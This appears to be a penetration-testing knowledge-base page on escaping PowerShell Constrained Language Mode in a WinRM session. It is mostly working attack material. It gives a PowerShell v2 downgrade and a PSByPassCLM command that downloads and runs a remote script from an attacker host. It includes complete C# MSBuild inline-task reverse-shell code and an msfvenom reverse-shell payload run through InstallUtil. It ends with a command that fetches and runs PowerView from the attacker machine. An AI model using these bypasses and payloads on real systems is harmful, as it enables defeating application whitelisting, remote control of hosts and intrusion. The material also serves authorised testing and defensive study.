# WinRM CLM Bypass – PowerShell Constrained Language Mode Escape

- **URL:** https://hackindex.io/services/winrm/privilege-escalation/constrained-language-bypass
- **Path:** WinRM > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/services/winrm/privilege-escalation.md)
- **Published:** 2026-03-12
- **Updated:** 2026-04-06

PowerShell Constrained Language Mode (CLM) is enforced when AppLocker or WDAC (Windows Defender Application Control) policies are active. A WinRM session landing in CLM blocks .NET type access, COM object creation, and most reflection-based techniques: meaning standard post-exploitation tools like PowerView, Rubeus, and Mimikatz loaded as PowerShell scripts will fail silently or throw errors.

Check your current language mode immediately after connecting:

```powershell
$ExecutionContext.SessionState.LanguageMode
```

- `FullLanguage`: no restrictions, proceed normally
- `ConstrainedLanguage`: CLM active, use techniques below
- `RestrictedLanguage`: very locked down, only basic expressions allowed
- `NoLanguage`: almost certainly a JEA endpoint, see [https://hackindex.io/services/winrm/privilege-escalation/jea-escape](https://hackindex.io/services/winrm/privilege-escalation/jea-escape)

## Technique 1 - PowerShell Version Downgrade

PowerShell version 2 does not enforce CLM. If PowerShell 2 is installed on the target, downgrade to escape entirely:

```bash
powershell -version 2
```

Confirm it worked:

```powershell
$ExecutionContext.SessionState.LanguageMode
```

If the output is `FullLanguage`, you are out. Run your tools normally.

Check if v2 is available first:

```powershell
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\PowerShell"
```

A key named `1` with a `PowerShellVersion` value of `2.0` confirms v2 is installed. Many modern environments have v2 removed: if the downgrade fails, move to the next technique.

## Technique 2 - PSByPassCLM via Custom Runspace

PSByPassCLM creates a new PowerShell runspace outside the CLM enforcement boundary by calling the .NET API directly from a compiled binary rather than through the constrained PowerShell host.

Upload the PSByPassCLM binary to the target:

```powershell
upload /opt/PSByPassCLM/PSByPassCLM.exe C:\Windows\Temp\PSByPassCLM.exe
```

Execute it from your WinRM shell. It spawns a new PowerShell process in FullLanguage mode:

```bash
C:\Windows\Temp\PSByPassCLM.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c $env:COMPUTERNAME
```

Or get a reverse shell directly from the new FullLanguage process:

```bash
C:\Windows\Temp\PSByPassCLM.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://$LHOST/rev.ps1')"
```

Source: [https://github.com/padovah4ck/PSByPassCLM](https://github.com/padovah4ck/PSByPassCLM)

## Technique 3 - MSBuild Inline Task Execution

MSBuild.exe is a Microsoft-signed binary and is typically on the allowed list even when AppLocker is enforcing CLM. It can execute arbitrary .NET code via an inline task XML file.

Create the MSBuild project file on your attack box:

```xml
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="exploit">
    <ClassExample />
  </Target>
  <UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
          using System;
          using System.Net;
          using System.Net.Sockets;
          using System.Text;
          using System.IO;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;
          public class ClassExample : Task, ITask {
            public override bool Execute() {
              using (var client = new TcpClient("LHOST_REPLACE", LPORT_REPLACE)) {
                var stream = client.GetStream();
                var buf = new byte[65535];
                using (var process = new System.Diagnostics.Process()) {
                  process.StartInfo.FileName = "cmd.exe";
                  process.StartInfo.CreateNoWindow = true;
                  process.StartInfo.UseShellExecute = false;
                  process.StartInfo.RedirectStandardInput = true;
                  process.StartInfo.RedirectStandardOutput = true;
                  process.StartInfo.RedirectStandardError = true;
                  process.OutputDataReceived += (s, e) => { if (e.Data != null) { var b = Encoding.ASCII.GetBytes(e.Data + "\n"); stream.Write(b, 0, b.Length); } };
                  process.ErrorDataReceived += (s, e) => { if (e.Data != null) { var b = Encoding.ASCII.GetBytes(e.Data + "\n"); stream.Write(b, 0, b.Length); } };
                  process.Start();
                  process.BeginOutputReadLine();
                  process.BeginErrorReadLine();
                  int br;
                  while ((br = stream.Read(buf, 0, buf.Length)) > 0) {
                    process.StandardInput.WriteLine(Encoding.ASCII.GetString(buf, 0, br).TrimEnd('\n'));
                  }
                }
              }
              return true;
            }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

Replace `LHOST_REPLACE` with `$LHOST` and `LPORT_REPLACE` with `$LPORT`.

Upload the file:

```powershell
upload /tmp/rev.csproj C:\Windows\Temp\rev.csproj
```

Start your listener:

```bash
nc -lvnp $LPORT
```

Execute via MSBuild:

```bash
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\rev.csproj
```

MSBuild compiles and runs the inline C# task outside CLM enforcement, delivering a cmd.exe reverse shell.

## Technique 4 - InstallUtil Bypass

InstallUtil.exe is another Microsoft-signed binary that executes .NET assembly installer classes and is typically AppLocker-whitelisted. Compile a C# payload that implements `Installer.Install()`:

On your attack box, compile a reverse shell installer:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe-service -o payload.exe
```

Or compile a custom C# installer class:

```bash
csc.exe /target:library /out:payload.dll payload.cs
```

Upload and execute:

```bash
upload /tmp/payload.dll C:\Windows\Temp\payload.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Temp\payload.dll
```

## Confirming the Constrained Language Mode Bypass

After applying any bypass, verify language mode in the new shell:

```powershell
$ExecutionContext.SessionState.LanguageMode
```

`FullLanguage` confirms success. Now load post-exploitation tools normally:

```powershell
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PowerView.ps1')
Get-DomainUser
```

## References

- [PSByPassCLM](https://github.com/padovah4ck/PSByPassCLM) - padovah4ck Custom runspace CLM bypass tool with usage examples.
- [AppLocker Bypass](https://pentestlab.blog/2017/05/29/applocker-bypass-msbuild/) - MSBuild MSBuild inline task execution technique with code examples.
- [AppLocker Case Study](https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/) - Oddvar Moe Real-world CLM and AppLocker bypass research and bypass technique documentation.
